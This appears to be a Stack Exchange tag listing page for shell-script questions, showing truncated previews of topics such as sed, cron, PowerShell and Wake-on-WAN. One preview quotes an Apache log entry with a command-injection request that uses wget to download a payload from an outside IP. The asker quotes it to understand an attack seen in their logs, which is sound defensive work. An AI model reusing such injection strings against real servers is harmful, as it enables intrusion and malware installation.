Stack Exchange Network

Stack Exchange network consists of 174 Q&A communities including Stack Overflow, the largest, most trusted online community for developers to learn, share their knowledge, and build their careers.

Visit Stack Exchange

Questions tagged [shell-script]

A shell script is a script written for the shell, or command line interpreter, of an operating system.

1
vote
0answers
38 views

sed: How to replace variable line if found or append to end of file if not found?

So my question is very much based off of a related question, but has one key difference. In the answer given of: sed '/^FOOBAR=/{h;s/=.*/=newvalue/};${x;/^$/{s//FOOBAR=newvalue/;H};x}' infile I've ...
0
votes
2answers
22 views

loop(repeat) script block until successful db(mysql) password

I have the following function function executeMySql() { while IFS= read -p "$prompt" -r -s -n 1 char do if [[ $char == $'\0' ]]; then break fi if [[ $char == $'\177' ]...
0
votes
0answers
21 views

bash function with parameters not usable with eval in Msys2

I am using Msys2 from PortableApps under Win 10. The answer to this question (i.e., identification and solution of the problem) may be related to the Unix/Linux part of usage, or to its "adaptation" ...
0
votes
1answer
43 views

Need help in fetching information from HyperV Nodes using Powershell

Below is my Script to fetch the information. I am getting OSStatus and uptime as blank in output. Can some one Please help me to get the output using "Get-VM | Select-Object -ExpandProperty ...
0
votes
0answers
14 views

How to move files from LXC container to local PC ? [migrated]

I have made a script that compress into .tar logs after automation test running. #!/bin/bash LOG_DIR="$logs_location" function collect_logs() { echo "*** collecting logs ***" ...
1
vote
1answer
61 views

Script or command to check whether user used password to logon Windows machine [closed]

Is there a way to check whether a user uses a password to log in to his notebook vs. some other authentication method? I'd prefer to do this using a script. And maybe someone was using glpi.
0
votes
1answer
30 views

How to execute .sh file (raspberrypi) that is present in someother folder

Sh file name: runme.sh Path: /home/pi-bridger/ I wanna run a .sh script that is under /home/pi-bridger/. I am able to run it inside the folder by using the command ./runme.sh. I wanna run the script ...
0
votes
1answer
76 views

sudo su with password provided in jenkins?

I am stuck with one requirement in which I am switching to some "xxx" user and it asks for password every time. I am trying to automate this process with password hardcoded in Jenkins job. ex: sudo su ...
2
votes
2answers
83 views

Wake up a computer over Internet using another computer in the same local network

I have two Arch Linux-powered computers, 'A' and 'B', connected to the Internet via the same router. I have configured and tested Wake-on-WAN on both of them. Both computers are shut down most of the ...
30
votes
2answers
3k views

What does this bash script do? [Hack Attempt]

I've been noticing on my servers apache logs, the following strange lines lately: 156.222.222.13 - - [08/Sep/2018:04:27:24 +0200] "GET /login.cgi?cli=aa%20aa%27;wget%20http://80.211.173.159/k%20-O%20/...
1
vote
0answers
13 views

How to determine what the type of content in clipboard is in macOS?

I am working on an Keyboard Maestro macro to save the clipboard content to hard drive and then pass the file to Yoink : Since there will be lots of kinds of content put into clipboard, e.g. PNG, JPG, ...
1
vote
1answer
28 views

How to extract multiple urls from String?

I have a string like below https://website.com/BTAE/2015/BTAE assignment jan 15.pdf²0ÔË'\„QI„"ÙP¾^ŒŸZ‡@Æ*]Ü.^‚vðƒ€Ù¾»Æš©Šñ‘€é• ªÂIR#œÉgÉÛ^gMdÉ%9¬e˜Hžôb¿'0<ô ?lþzk…éÃÄórÈ;EW¦K³1…²ì¶ZFžŠÒô*ÄÖ\...
0
votes
1answer
26 views

Pass cronjob output as parameter to curl

I have cronjob that takes hourly backup. Now I want to pass any stderr to an API. 0 * * * * /usr/local/sbin/script.sh 2>&1 | curl -k -X GET "https://192.168.0.25/path/of/joomla/instance/index....
2
votes
3answers
52 views

Script that compares 2 file's sizes and gives a warning message

I am a complete noob in scripting, but I need a script that will compare the sizes of two files and give out a warning if one of those files is 10% bigger than the other. So far, I came up with this :...
30
votes
2answers
4k views

What is wrong with “echo $(stuff)” or “echo `stuff`”?

I used one of the following echo $(stuff) echo `stuff` (where stuff is e.g. pwd or date or something more complicated). Then I was told this syntax is wrong, a bad practice, non-elegant, excessive, ...

15 30 50 per page